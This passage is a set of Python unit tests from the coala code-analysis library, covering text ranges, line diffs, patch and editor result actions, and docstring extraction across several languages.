        self.assertEqual(TextRange.join(TextRange(self.pos[1], self.pos[2]),
                                        TextRange(self.pos[2], self.pos[3])),
                         TextRange(self.pos[1], self.pos[3]))


class TextRangeExpandTest(unittest.TestCase):

    def test_expand_full(self):
        empty_position = TextPosition()
        file = ["abc\n", "def\n", "ghi\n"]
        empty_range = TextRange(empty_position, empty_position)
        full_range = TextRange.from_values(1, 1, 3, 4)
        self.assertEqual(empty_range.expand(file), full_range)

    def test_expand_none(self):
        start_position = TextPosition(2, 2)
        end_position = TextPosition(3, 2)
        file = ["abc\n", "def\n", "ghi\n"]
        text_range = TextRange(start_position, end_position)
        self.assertEqual(text_range.expand(file), text_range)

    def test_expand_semi(self):
        file = ["abc\n", "defg\n", "hijkl\n", "mnopqr\n"]
        semi_range = TextRange.from_values(2, None, 3, None)
        full_range = TextRange.from_values(2, 1, 3, 6)
        self.assertEqual(semi_range.expand(file), full_range)






import unittest

from coalib.results.LineDiff import LineDiff, ConflictError


class LineDiffTest(unittest.TestCase):

    def test_everything(self):
        self.assertRaises(TypeError, LineDiff, delete=5)
        self.assertRaises(TypeError, LineDiff, change=5)
        self.assertRaises(TypeError, LineDiff, add_after=5)
        self.assertRaises(TypeError, LineDiff, change=True)
        self.assertRaises(TypeError, LineDiff, add_after=True)
        self.assertRaises(ConflictError,
                          LineDiff,
                          change=("1", "2"),
                          delete=True)

        self.assertEqual(LineDiff(change=("1", "2")).change, ("1", "2"))
        self.assertEqual(LineDiff(delete=True).delete, True)
        self.assertEqual(LineDiff(add_after=[]).add_after, False)
        self.assertEqual(LineDiff(add_after=["t"]).add_after, ["t"])
        self.assertEqual(LineDiff(add_after=("t",)).add_after, ["t"])

        uut = LineDiff()
        uut.delete = True
        self.assertRaises(ConflictError, setattr, uut, "change", ("1", "2"))
        uut.delete = False
        uut.change = ("1", "2")
        self.assertRaises(ConflictError, setattr, uut, "delete", True)

    def test_equality(self):
        self.assertEqual(LineDiff(), LineDiff())
        self.assertNotEqual(LineDiff(), LineDiff(delete=True))
        self.assertNotEqual(LineDiff(add_after=['']), LineDiff())
        self.assertNotEqual(LineDiff(add_after=['']), LineDiff(delete=True))
        self.assertNotEqual(LineDiff(change=('', 'a')), LineDiff())






import unittest

from coalib.results.Result import Result
from coalib.results.result_actions.ResultAction import ResultAction
from coalib.settings.Section import Section


class ResultActionTest(unittest.TestCase):

    def test_api(self):
        uut = ResultAction()
        result = Result("", "")

        self.assertRaises(NotImplementedError, uut.apply, 5, {}, {})
        self.assertRaises(NotImplementedError,
                          uut.apply_from_section,
                          "",
                          {},
                          {},
                          Section("name"))

        self.assertRaises(TypeError, uut.apply_from_section, "", {}, {}, 5)
        self.assertRaises(TypeError,
                          uut.apply_from_section,
                          "",
                          5,
                          {},
                          Section("name"))
        self.assertRaises(TypeError,
                          uut.apply_from_section,
                          "",
                          {},
                          5,
                          Section("name"))

        self.assertEqual(len(uut.get_metadata().non_optional_params), 0)
        self.assertEqual(len(uut.get_metadata().optional_params), 0)
        self.assertEqual(uut.get_metadata().name, "ResultAction")
        self.assertTrue(uut.is_applicable(result, None, None))






import os
import subprocess
import tempfile
import unittest

from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.result_actions.OpenEditorAction import OpenEditorAction
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.settings.Section import Section, Setting


class OpenEditorActionTest(unittest.TestCase):

    @staticmethod
    def fake_edit(commands):
        filename = commands[1]
        with open(filename) as f:
            lines = f.readlines()

        del lines[1]

        with open(filename, "w") as f:
            f.writelines(lines)

    @staticmethod
    def fake_edit_subl(commands, stdout):
        """
        Solely the declaration raises an exception if stdout not provided.
        """
        assert ("--wait" in commands), "Did not wait for the editor to close"

    def setUp(self):
        fahandle, self.fa = tempfile.mkstemp()
        os.close(fahandle)
        fbhandle, self.fb = tempfile.mkstemp()
        os.close(fbhandle)
        self.old_subprocess_call = subprocess.call

    def tearDown(self):
        os.remove(self.fa)
        os.remove(self.fb)
        subprocess.call = self.old_subprocess_call

    def test_apply(self):
        # Initial file contents, *before* a patch was applied
        file_dict = {
            self.fa: ["1\n", "2\n", "3\n"],
            self.fb: ["1\n", "2\n", "3\n"],
            "f_c": ["1\n", "2\n", "3\n"]}

        # A patch that was applied for some reason to make things complicated
        diff_dict = {self.fb: Diff(file_dict[self.fb])}
        diff_dict[self.fb].change_line(3, "3\n", "3_changed\n")

        # File contents after the patch was applied, that's what's in the files
        current_file_dict = {
            filename: diff_dict[filename].modified
            if filename in diff_dict else file_dict[filename]
            for filename in (self.fa, self.fb)}
        for filename in current_file_dict:
            with open(filename, 'w') as handle:
                handle.writelines(current_file_dict[filename])

        # End file contents after the patch and the OpenEditorAction was
        # applied
        expected_file_dict = {
            self.fa: ["1\n", "3\n"],
            self.fb: ["1\n", "3_changed\n"],
            "f_c": ["1\n", "2\n", "3\n"]}

        section = Section("")
        section.append(Setting("editor", ""))
        uut = OpenEditorAction()
        subprocess.call = self.fake_edit
        diff_dict = uut.apply_from_section(
            Result.from_values("origin", "msg", self.fa),
            file_dict,
            diff_dict,
            section)
        diff_dict = uut.apply_from_section(
            Result.from_values("origin", "msg", self.fb),
            file_dict,
            diff_dict,
            section)

        for filename in diff_dict:
            file_dict[filename] = (
                diff_dict[filename].modified)

        self.assertEqual(file_dict, expected_file_dict)

    def test_apply_rename(self):
        # Initial file contents, *before* a patch was applied
        file_dict = {
            self.fa: ["1\n", "2\n", "3\n"]}

        # A patch that was applied for some reason to make things complicated
        file_diff_dict = {}
        diff = Diff(file_dict[self.fa], rename=self.fa+".renamed")
        diff.change_line(3, "3\n", "3_changed\n")
        ApplyPatchAction().apply(
            Result("origin", "msg", diffs={self.fa: diff}),
            file_dict,
            file_diff_dict)
        # End file contents after the patch and the OpenEditorAction was
        # applied
        expected_file_dict = {
            self.fa: ["1\n", "3_changed\n"]}

        section = Section("")
        section.append(Setting("editor", ""))
        uut = OpenEditorAction()
        subprocess.call = self.fake_edit
        diff_dict = uut.apply_from_section(
            Result.from_values("origin", "msg", self.fa),
            file_dict,
            file_diff_dict,
            section)

        for filename in diff_dict:
            file_dict[filename] = (
                file_diff_dict[filename].modified)

        self.assertEqual(file_dict, expected_file_dict)
        open(self.fa, 'w').close()

    def test_subl(self):
        file_dict = {self.fa: []}
        section = Section("")
        section.append(Setting("editor", "subl"))
        uut = OpenEditorAction()
        subprocess.call = self.fake_edit_subl
        diff_dict = uut.apply_from_section(
            Result.from_values("origin", "msg", self.fa),
            file_dict,
            {},
            section)
        file_dict[self.fa] = diff_dict[self.fa].modified

        self.assertEqual(file_dict, file_dict)

    def test_is_applicable(self):
        result1 = Result("", "")
        result2 = Result.from_values("", "", "")
        result3 = Result.from_values("", "", "file")
        invalid_result = ""
        self.assertFalse(OpenEditorAction.is_applicable(result1, None, {}))
        self.assertTrue(OpenEditorAction.is_applicable(result2, None, {}))
        # Check non-existent file
        self.assertFalse(OpenEditorAction.is_applicable(result3, None, {}))

        self.assertFalse(
            OpenEditorAction.is_applicable(invalid_result, None, {}))






import unittest
import os
from os.path import isfile

from coalib.misc.ContextManagers import make_temp
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.result_actions.ApplyPatchAction import ApplyPatchAction
from coalib.settings.Section import Section


class ApplyPatchActionTest(unittest.TestCase):

    def test_apply(self):
        uut = ApplyPatchAction()
        with make_temp() as f_a, make_temp() as f_b, make_temp() as f_c:

            file_dict = {
                f_a: ["1\n", "2\n", "3\n"],
                f_b: ["1\n", "2\n", "3\n"],
                f_c: ["1\n", "2\n", "3\n"]
            }
            expected_file_dict = {
                f_a: ["1\n", "3_changed\n"],
                f_b: ["1\n", "2\n", "3_changed\n"],
                f_c: ["1\n", "2\n", "3\n"]
            }

            file_diff_dict = {}

            diff = Diff(file_dict[f_a])
            diff.delete_line(2)
            uut.apply_from_section(Result("origin", "msg", diffs={f_a: diff}),
                                   file_dict,
                                   file_diff_dict,
                                   Section("t"))

            diff = Diff(file_dict[f_a])
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply_from_section(Result("origin", "msg", diffs={f_a: diff}),
                                   file_dict,
                                   file_diff_dict,
                                   Section("t"))

            diff = Diff(file_dict[f_b])
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_b: diff}),
                      file_dict,
                      file_diff_dict)

            for filename in file_diff_dict:
                file_dict[filename] = file_diff_dict[filename].modified

            self.assertEqual(file_dict, expected_file_dict)
            with open(f_a) as fa:
                self.assertEqual(file_dict[f_a], fa.readlines())
            with open(f_b) as fb:
                self.assertEqual(file_dict[f_b], fb.readlines())
            with open(f_c) as fc:
                # File c is unchanged and should be untouched
                self.assertEqual([], fc.readlines())

    def test_apply_orig_option(self):
        uut = ApplyPatchAction()
        with make_temp() as f_a, make_temp() as f_b:
            file_dict = {
                f_a: ["1\n", "2\n", "3\n"],
                f_b: ["1\n", "2\n", "3\n"]
                }
            expected_file_dict = {
                f_a: ["1\n", "2\n", "3_changed\n"],
                f_b: ["1\n", "2\n", "3_changed\n"]
                }
            file_diff_dict = {}
            diff = Diff(file_dict[f_a])
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_a: diff}),
                      file_dict,
                      file_diff_dict,
                      no_orig=True)
            diff = Diff(file_dict[f_b])
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_b: diff}),
                      file_dict,
                      file_diff_dict,
                      no_orig=False)
            self.assertFalse(isfile(f_a+".orig"))
            self.assertTrue(isfile(f_b+".orig"))

            for filename in file_diff_dict:
                file_dict[filename] = file_diff_dict[filename].modified

            self.assertEqual(file_dict, expected_file_dict)

    def test_apply_rename(self):
        uut = ApplyPatchAction()
        with make_temp() as f_a:
            file_dict = {f_a: ["1\n", "2\n", "3\n"]}
            expected_file_dict = {f_a+".renamed":
                                      ["1\n", "2_changed\n", "3_changed\n"]}
            file_diff_dict = {}
            diff = Diff(file_dict[f_a], rename=f_a+".renamed")
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_a: diff}),
                      file_dict,
                      file_diff_dict)
            self.assertTrue(isfile(f_a+".orig"))
            self.assertTrue(isfile(f_a+".renamed"))
            self.assertFalse(isfile(f_a))

            diff = Diff(file_dict[f_a])
            diff.change_line(2, "2\n", "2_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_a: diff}),
                      file_dict,
                      file_diff_dict)
            self.assertFalse(isfile(f_a+".renamed.orig"))

            file_dict = {f_a+".renamed": open(f_a+".renamed").readlines()}

            self.assertEqual(file_dict, expected_file_dict)
            # Recreate file so that context manager make_temp() can delete it
            open(f_a, 'w').close()

    def test_apply_delete(self):
        uut = ApplyPatchAction()
        with make_temp() as f_a:
            file_dict = {f_a: ["1\n", "2\n", "3\n"]}
            file_diff_dict = {}
            diff = Diff(file_dict[f_a], delete=True)
            uut.apply(Result("origin", "msg", diffs={f_a: diff}),
                      file_dict,
                      file_diff_dict)
            self.assertFalse(isfile(f_a))
            self.assertTrue(isfile(f_a+".orig"))
            os.remove(f_a+".orig")

            diff = Diff(file_dict[f_a])
            diff.change_line(3, "3\n", "3_changed\n")
            uut.apply(Result("origin", "msg", diffs={f_a: diff}),
                      file_dict,
                      file_diff_dict)
            self.assertFalse(isfile(f_a+".orig"))
            # Recreate file so that context manager make_temp() can delete it
            open(f_a, 'w').close()

    def test_is_applicable(self):
        diff = Diff(["1\n", "2\n", "3\n"])
        diff.delete_line(2)
        patch_result = Result("", "", diffs={'f': diff})
        self.assertTrue(
            ApplyPatchAction.is_applicable(patch_result, {}, {}))

    def test_is_applicable_conflict(self):
        diff = Diff(["1\n", "2\n", "3\n"])
        diff.add_lines(2, ['a line'])

        conflict_result = Result("", "", diffs={'f': diff})
        # Applying the same diff twice will result in a conflict
        self.assertFalse(
            ApplyPatchAction.is_applicable(conflict_result, {}, {'f': diff}))

    def test_is_applicable_empty_patch(self):
        empty_patch_result = Result("", "", diffs={})
        self.assertFalse(
            ApplyPatchAction.is_applicable(empty_patch_result, {}, {}))

    def test_is_applicable_without_patch(self):
        result = Result("", "")
        self.assertFalse(ApplyPatchAction.is_applicable(result, {}, {}))






import unittest

from coalib.misc.ContextManagers import retrieve_stdout
from coalib.results.Result import Result
from coalib.results.result_actions.PrintDebugMessageAction import (
    PrintDebugMessageAction)
from coalib.settings.Section import Section


class PrintDebugMessageActionTest(unittest.TestCase):

    def setUp(self):
        self.uut = PrintDebugMessageAction()
        self.test_result = Result("origin", "message", debug_msg="DEBUG MSG")

    def test_is_applicable(self):
        self.assertFalse(self.uut.is_applicable(1, None, None))
        self.assertFalse(self.uut.is_applicable(Result("o", "m"), None, None))
        self.assertTrue(self.uut.is_applicable(self.test_result, None, None))

    def test_apply(self):
        with retrieve_stdout() as stdout:
            self.assertEqual(self.uut.apply_from_section(self.test_result,
                                                         {},
                                                         {},
                                                         Section("name")),
                             {})
            self.assertEqual(stdout.getvalue(),
                             self.test_result.debug_msg+"\n")












import unittest

from coalib.misc.ContextManagers import retrieve_stdout
from coalib.results.Result import Result
from coalib.results.result_actions.PrintMoreInfoAction import (
    PrintMoreInfoAction)
from coalib.settings.Section import Section


class PrintMoreInfoActionTest(unittest.TestCase):

    def setUp(self):
        self.uut = PrintMoreInfoAction()
        self.test_result = Result(
            "origin", "message",
            additional_info="A lot of additional information can be found here")

    def test_is_applicable(self):
        self.assertFalse(self.uut.is_applicable(1, None, None))
        self.assertFalse(self.uut.is_applicable(Result("o", "m"), None, None))
        self.assertTrue(self.uut.is_applicable(self.test_result, None, None))

    def test_apply(self):
        with retrieve_stdout() as stdout:
            self.assertEqual(self.uut.apply_from_section(self.test_result,
                                                         {},
                                                         {},
                                                         Section("name")),
                             {})
            self.assertEqual(stdout.getvalue(),
                             self.test_result.additional_info + "\n")






import unittest
from os.path import join

from coalib.misc.ContextManagers import retrieve_stdout
from coalib.results.Diff import Diff
from coalib.results.Result import Result
from coalib.results.result_actions.ShowPatchAction import ShowPatchAction
from coalib.settings.Section import Section, Setting


class ShowPatchActionTest(unittest.TestCase):

    def setUp(self):
        self.uut = ShowPatchAction()
        self.file_dict = {"a": ["a\n", "b\n", "c\n"], "b": ["old_first\n"]}
        self.diff_dict = {"a": Diff(self.file_dict['a']),
                          "b": Diff(self.file_dict['b'])}
        self.diff_dict["a"].add_lines(1, ["test\n"])
        self.diff_dict["a"].delete_line(3)
        self.diff_dict["b"].add_lines(0, ["first\n"])

        self.test_result = Result("origin", "message", diffs=self.diff_dict)
        self.section = Section("name")
        self.section.append(Setting("colored", "false"))

    def test_is_applicable(self):
        self.assertFalse(self.uut.is_applicable(1, None, None))
        self.assertFalse(self.uut.is_applicable(Result("o", "m"), None, None))
        self.assertTrue(self.uut.is_applicable(self.test_result, {}, {}))
        self.assertFalse(self.uut.is_applicable(self.test_result, {},
                                                self.diff_dict))

    def test_apply(self):
        with retrieve_stdout() as stdout:
            self.assertEqual(self.uut.apply_from_section(self.test_result,
                                                         self.file_dict,
                                                         {},
                                                         self.section),
                             {})
            self.assertEqual(stdout.getvalue(),
                             "|----|    | a\n"
                             "|    |++++| a\n"
                             "|   1|   1| a\n"
                             "|    |   2|+test\n"
                             "|   2|   3| b\n"
                             "|   3|    |-c\n"
                             "|----|    | b\n"
                             "|    |++++| b\n"
                             "|    |   1|+first\n"
                             "|   1|   2| old_first\n")

    def test_apply_renaming_only(self):
        with retrieve_stdout() as stdout:
            test_result = Result("origin", "message",
                                 diffs={'a': Diff([], rename='b')})
            file_dict = {'a': []}
            self.assertEqual(self.uut.apply_from_section(test_result,
                                                         file_dict,
                                                         {},
                                                         self.section),
                             {})
            self.assertEqual(stdout.getvalue(),
                             '|----|    | ' + join('a', 'a') + '\n'
                             '|    |++++| ' + join('b', 'b') + '\n')

    def test_apply_empty(self):
        with retrieve_stdout() as stdout:
            test_result = Result("origin", "message",
                                 diffs={'a': Diff([])})
            file_dict = {'a': []}
            self.assertEqual(self.uut.apply_from_section(test_result,
                                                         file_dict,
                                                         {},
                                                         self.section),
                             {})
            self.assertEqual(stdout.getvalue(), '')

    def test_apply_with_previous_patches(self):
        with retrieve_stdout() as stdout:
            previous_diffs = {"a": Diff(self.file_dict['a'])}
            previous_diffs["a"].change_line(2, "b\n", "b_changed\n")
            self.assertEqual(self.uut.apply_from_section(self.test_result,
                                                         self.file_dict,
                                                         previous_diffs,
                                                         self.section),
                             previous_diffs)
            self.assertEqual(stdout.getvalue(),
                             "|----|    | a\n"
                             "|    |++++| a\n"
                             "|   1|   1| a\n"
                             "|    |   2|+test\n"
                             "|   2|   3| b_changed\n"
                             "|   3|    |-c\n"
                             "|----|    | b\n"
                             "|    |++++| b\n"
                             "|    |   1|+first\n"
                             "|   1|   2| old_first\n")

    def test_apply_with_rename(self):
        with retrieve_stdout() as stdout:
            previous_diffs = {"a": Diff(self.file_dict['a'])}
            previous_diffs["a"].change_line(2, "b\n", "b_changed\n")

            diff_dict = {"a": Diff(self.file_dict['a'], rename="a.rename"),
                         "b": Diff(self.file_dict['b'], delete=True)}
            diff_dict["a"].add_lines(1, ["test\n"])
            diff_dict["a"].delete_line(3)
            diff_dict["b"].add_lines(0, ["first\n"])

            test_result = Result("origin", "message", diffs=diff_dict)

            self.assertEqual(self.uut.apply_from_section(test_result,
                                                         self.file_dict,
                                                         previous_diffs,
                                                         self.section),
                             previous_diffs)
            self.assertEqual(stdout.getvalue(),
                             "|----|    | a\n"
                             "|    |++++| a.rename\n"
                             "|   1|   1| a\n"
                             "|    |   2|+test\n"
                             "|   2|   3| b_changed\n"
                             "|   3|    |-c\n"
                             "|----|    | b\n"
                             "|    |++++| /dev/null\n"
                             "|   1|    |-old_first\n")












import os.path
from tempfile import TemporaryDirectory
import unittest

from coalib.bearlib.languages.LanguageDefinition import LanguageDefinition
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting


class LanguageDefinitionTest(unittest.TestCase):

    def setUp(self):
        self.section = Section("any")
        self.section.append(Setting("language", "CPP"))

    def test_nonexistant_file(self):
        self.section.append(Setting("language", "bullshit"))

        with self.assertRaises(FileNotFoundError):
            LanguageDefinition.from_section(self.section)

    def test_loading(self):
        uut = LanguageDefinition.from_section(self.section)
        self.assertEqual(list(uut["extensions"]), [".c", ".cpp", ".h", ".hpp"])

    def test_key_contains(self):
        uut = LanguageDefinition.from_section(self.section)
        self.assertIn("extensions", uut)
        self.assertNotIn("randomstuff", uut)

    def test_external_coalang(self):
        with TemporaryDirectory() as directory:
            coalang_file = os.path.join(directory, 'random_language.coalang')
            with open(coalang_file, 'w') as file:
                file.write('extensions = .lol, .ROFL')
            uut = LanguageDefinition("random_language", coalang_dir=directory)
            self.assertIn("extensions", uut)
            self.assertEqual(list(uut["extensions"]), [".lol", ".ROFL"])












import os


def load_testdata(filename):
    filename = os.path.join(os.path.dirname(
        os.path.realpath(__file__)),
        os.path.join("documentation_extraction_testdata",
                     filename))

    with open(filename) as test_file:
        data = test_file.read()

    return data.splitlines(keepends=True)






import os.path
from tempfile import TemporaryDirectory
import unittest
from unittest.mock import patch

from coalib.bearlib.languages.documentation.DocstyleDefinition import (
    DocstyleDefinition)


class DocstyleDefinitionTest(unittest.TestCase):

    Metadata = DocstyleDefinition.Metadata
    dummy_metadata = Metadata(":param ", ":", ":return:")

    def test_fail_instantation(self):
        with self.assertRaises(ValueError):
            DocstyleDefinition("PYTHON", "doxyGEN",
                               (("##", "#"),), self.dummy_metadata)

        with self.assertRaises(ValueError):
            DocstyleDefinition("WEIRD-PY",
                               "schloxygen",
                               (("##+", "x", "y", "z"),),
                               self.dummy_metadata)

        with self.assertRaises(ValueError):
            DocstyleDefinition("PYTHON",
                               "doxygen",
                               (("##", "", "#"), ('"""', '"""')),
                               self.dummy_metadata)

        with self.assertRaises(TypeError):
            DocstyleDefinition(123, ["doxygen"], (('"""', '"""')),
                               self.dummy_metadata)

        with self.assertRaises(TypeError):
            DocstyleDefinition("language", ["doxygen"], (('"""', '"""')),
                               "metdata")

    def test_properties(self):
        uut = DocstyleDefinition("C", "doxygen",
                                 (("/**", "*", "*/"),), self.dummy_metadata)

        self.assertEqual(uut.language, "c")
        self.assertEqual(uut.docstyle, "doxygen")
        self.assertEqual(uut.markers, (("/**", "*", "*/"),))
        self.assertEqual(uut.metadata, self.dummy_metadata)

        uut = DocstyleDefinition("PYTHON", "doxyGEN",
                                 [("##", "", "#")], self.dummy_metadata)

        self.assertEqual(uut.language, "python")
        self.assertEqual(uut.docstyle, "doxygen")
        self.assertEqual(uut.markers, (("##", "", "#"),))
        self.assertEqual(uut.metadata, self.dummy_metadata)

        uut = DocstyleDefinition("I2C",
                                 "my-custom-tool",
                                 (["~~", "/~", "/~"], (">!", ">>", ">>")),
                                 self.dummy_metadata)

        self.assertEqual(uut.language, "i2c")
        self.assertEqual(uut.docstyle, "my-custom-tool")
        self.assertEqual(uut.markers, (("~~", "/~", "/~"), (">!", ">>", ">>")))
        self.assertEqual(uut.metadata, self.dummy_metadata)

        uut = DocstyleDefinition("Cpp", "doxygen",
                                 ("~~", "/~", "/~"), self.dummy_metadata)

        self.assertEqual(uut.language, "cpp")
        self.assertEqual(uut.docstyle, "doxygen")
        self.assertEqual(uut.markers, (("~~", "/~", "/~"),))
        self.assertEqual(uut.metadata, self.dummy_metadata)

    def test_load(self):
        # Test unregistered docstyle.
        with self.assertRaises(FileNotFoundError):
            next(DocstyleDefinition.load("PYTHON", "INVALID"))

        # Test unregistered language in existing docstyle.
        with self.assertRaises(KeyError):
            next(DocstyleDefinition.load("bake-a-cake", "default"))

        # Test wrong argument type.
        with self.assertRaises(TypeError):
            next(DocstyleDefinition.load(123, ["list"]))

        # Test python 3 default configuration and if everything is parsed
        # right.
        result = DocstyleDefinition.load("PYTHON3", "default")

        self.assertEqual(result.language, "python3")
        self.assertEqual(result.docstyle, "default")
        self.assertEqual(result.markers, (('"""', '', '"""'),))

        self.assertEqual(result.metadata, self.dummy_metadata)

    def test_get_available_definitions(self):
        # Test if the basic supported docstyle-language pairs exist.
        expected = {('default', 'python'),
                    ('default', 'python3'),
                    ('default', 'java'),
                    ('doxygen', 'c'),
                    ('doxygen', 'cpp'),
                    ('doxygen', 'cs'),
                    ('doxygen', 'fortran'),
                    ('doxygen', 'java'),
                    ('doxygen', 'python'),
                    ('doxygen', 'python3'),
                    ('doxygen', 'tcl'),
                    ('doxygen', 'vhdl'),
                    ('doxygen', 'php'),
                    ('doxygen', 'objective-c')}

        real = set(DocstyleDefinition.get_available_definitions())

        self.assertTrue(expected.issubset(real))

    @patch('coalib.bearlib.languages.documentation.DocstyleDefinition.iglob')
    @patch('coalib.bearlib.languages.documentation.DocstyleDefinition'
           '.ConfParser')
    def test_get_available_definitions_on_wrong_files(self,
                                                      confparser_mock,
                                                      iglob_mock):
        # Test the case when a coalang was provided with uppercase letters.
        confparser_instance_mock = confparser_mock.return_value
        confparser_instance_mock.parse.return_value = ["X"]
        iglob_mock.return_value = ['some/CUSTOMSTYLE.coalang',
                                   'SOME/xlang.coalang']

        self.assertEqual(list(DocstyleDefinition.get_available_definitions()),
                         [('xlang', 'x')])

    def test_load_external_coalang(self):
        empty_metadata = self.Metadata('', '', '')
        with TemporaryDirectory() as directory:
            coalang_file = os.path.join(directory, "custom.coalang")
            with open(coalang_file, "w") as file:
                file.write("[COOL]\ndoc-markers = @@,@@,@@\n")

            result = DocstyleDefinition.load(
                "cool", "custom", coalang_dir=directory)
            self.assertEqual(result.language, "cool")
            self.assertEqual(result.docstyle, "custom")
            self.assertEqual(result.markers, (('@@', '@@', '@@'),))
            self.assertEqual(result.metadata, empty_metadata)






import unittest

from coalib.bearlib.languages.documentation.DocstyleDefinition import (
    DocstyleDefinition)
from coalib.bearlib.languages.documentation.DocumentationComment import (
    DocumentationComment)
from coalib.bearlib.languages.documentation.DocumentationExtraction import (
    extract_documentation)
from tests.bearlib.languages.documentation.TestUtils import (
    load_testdata)
from coalib.results.TextRange import TextRange


class DocumentationExtractionTest(unittest.TestCase):

    def test_extract_documentation_invalid_input(self):
        with self.assertRaises(FileNotFoundError):
            tuple(extract_documentation("", "PYTHON", "INVALID"))

    def test_extract_documentation_C(self):
        data = load_testdata("data.c")

        # No built-in documentation for C.
        with self.assertRaises(KeyError):
            tuple(extract_documentation(data, "C", "default"))

        docstyle_C_doxygen = DocstyleDefinition.load("C", "doxygen")

        expected_results = (DocumentationComment(
                                ("\n"
                                 " This is the main function.\n"
                                 "\n"
                                 " @returns Your favorite number.\n"),
                                docstyle_C_doxygen, "",
                                docstyle_C_doxygen.markers[0],
                                TextRange.from_values(3, 1, 7, 4)),
                            DocumentationComment(
                                ("\n"
                                 " Preserves alignment\n"
                                 " - Main item\n"
                                 "   - sub item\n"
                                 "     - sub sub item\n"),
                                docstyle_C_doxygen, "",
                                docstyle_C_doxygen.markers[2],
                                TextRange.from_values(15, 1, 20, 4)),
                            DocumentationComment(
                                (" ABC\n"
                                 "    Another type of comment\n"
                                 "\n"
                                 "    ..."),
                                docstyle_C_doxygen, "",
                                docstyle_C_doxygen.markers[1],
                                TextRange.from_values(23, 1, 26, 11)),
                            DocumentationComment(
                                (" foobar = barfoo.\n"
                                 " @param x whatever...\n"),
                                docstyle_C_doxygen, "",
                                docstyle_C_doxygen.markers[0],
                                TextRange.from_values(28, 1, 30, 4)))

        self.assertEqual(tuple(
            extract_documentation(data, "C", "doxygen")),
            expected_results)

    def test_extract_documentation_C_2(self):
        data = ['/** my main description\n', ' * continues here */']

        docstyle_C_doxygen = DocstyleDefinition.load("C", "doxygen")

        self.assertEqual(
            list(extract_documentation(data, "C", "doxygen")),
            [DocumentationComment(" my main description\n continues here",
                                  docstyle_C_doxygen, "",
                                  docstyle_C_doxygen.markers[0],
                                  TextRange.from_values(1, 1, 2, 21))])

    def test_extract_documentation_CPP(self):
        data = load_testdata("data.cpp")

        # No built-in documentation for C++.
        with self.assertRaises(KeyError):
            tuple(extract_documentation(data, "CPP", "default"))

        docstyle_CPP_doxygen = DocstyleDefinition.load("CPP", "doxygen")

        self.assertEqual(tuple(extract_documentation(data, "CPP", "doxygen")),
                         (DocumentationComment(
                              ("\n"
                               " This is the main function.\n"
                               " @returns Exit code.\n"
                               "          Or any other number.\n"),
                              docstyle_CPP_doxygen, "",
                              docstyle_CPP_doxygen.markers[0],
                              TextRange.from_values(4, 1, 8, 4)),
                          DocumentationComment(
                              (" foobar\n"
                               " @param xyz\n"),
                              docstyle_CPP_doxygen, "",
                              docstyle_CPP_doxygen.markers[0],
                              TextRange.from_values(15, 1, 17, 4)),
                          DocumentationComment(
                              " Some alternate style of documentation\n",
                              docstyle_CPP_doxygen, "",
                              docstyle_CPP_doxygen.markers[4],
                              TextRange.from_values(22, 1, 23, 1)),
                          DocumentationComment(
                              " ends instantly",
                              docstyle_CPP_doxygen, "\t",
                              docstyle_CPP_doxygen.markers[0],
                              TextRange.from_values(26, 2, 26, 23)),
                          DocumentationComment(
                              (" Should work\n"
                               "\n"
                               " even without a function standing below.\n"
                               "\n"
                               " @param foo WHAT PARAM PLEASE!?\n"),
                              docstyle_CPP_doxygen, "",
                              docstyle_CPP_doxygen.markers[4],
                              TextRange.from_values(32, 1, 37, 1))))

    def test_extract_documentation_CPP_2(self):
        data = load_testdata("data2.cpp")

        docstyle_CPP_doxygen = DocstyleDefinition.load("CPP", "doxygen")

        self.assertEqual(tuple(extract_documentation(data, "CPP", "doxygen")),
                         (DocumentationComment(
                          ("module comment\n"
                           " hello world\n"),
                          docstyle_CPP_doxygen, "",
                          docstyle_CPP_doxygen.markers[0],
                          TextRange.from_values(1, 1, 3, 4)),))

    def test_extract_documentation_PYTHON3(self):
        data = load_testdata("data.py")
        docstyle_PYTHON3_default = DocstyleDefinition.load("PYTHON3",
                                                           "default")
        docstyle_PYTHON3_doxygen = DocstyleDefinition.load("PYTHON3",
                                                           "doxygen")

        expected = (DocumentationComment(
                        ("\n"
                         "Module description.\n"
                         "\n"
                         "Some more foobar-like text.\n"),
                        docstyle_PYTHON3_default, "",
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(1, 1, 5, 4)),
                    DocumentationComment(
                        ("\n"
                         "A nice and neat way of documenting code.\n"
                         ":param radius: The explosion radius.\n"),
                        docstyle_PYTHON3_default, " " * 4,
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(8, 5, 11, 8)),
                    DocumentationComment(
                        "\nA function that returns 55.\n",
                        docstyle_PYTHON3_default, " " * 8,
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(13, 9, 15, 12)),
                    DocumentationComment(
                        ("\n"
                         "Docstring with layouted text.\n"
                         "\n"
                         "    layouts inside docs are preserved for these "
                         "documentation styles.\n"
                         "this is intended.\n"),
                        docstyle_PYTHON3_default, "",
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(19, 1, 24, 4)),
                    DocumentationComment(
                        (" Docstring directly besides triple quotes.\n"
                         "    Continues here. "),
                        docstyle_PYTHON3_default, "",
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(26, 1, 27, 24)),
                    DocumentationComment(
                        ("super\n"
                         " nicely\n"
                         "short"),
                        docstyle_PYTHON3_default, "",
                        docstyle_PYTHON3_default.markers[0],
                        TextRange.from_values(40, 1, 42, 9)))

        self.assertEqual(
            tuple(extract_documentation(data, "PYTHON3", "default")),
            expected)

        # Change only the docstyle in expected results.
        expected = list(DocumentationComment(r.documentation,
                                             docstyle_PYTHON3_doxygen,
                                             r.indent,
                                             r.marker,
                                             r.range)
                        for r in expected)

        expected.insert(5, DocumentationComment(
            (" Alternate documentation style in doxygen.\n"
             "  Subtext\n"
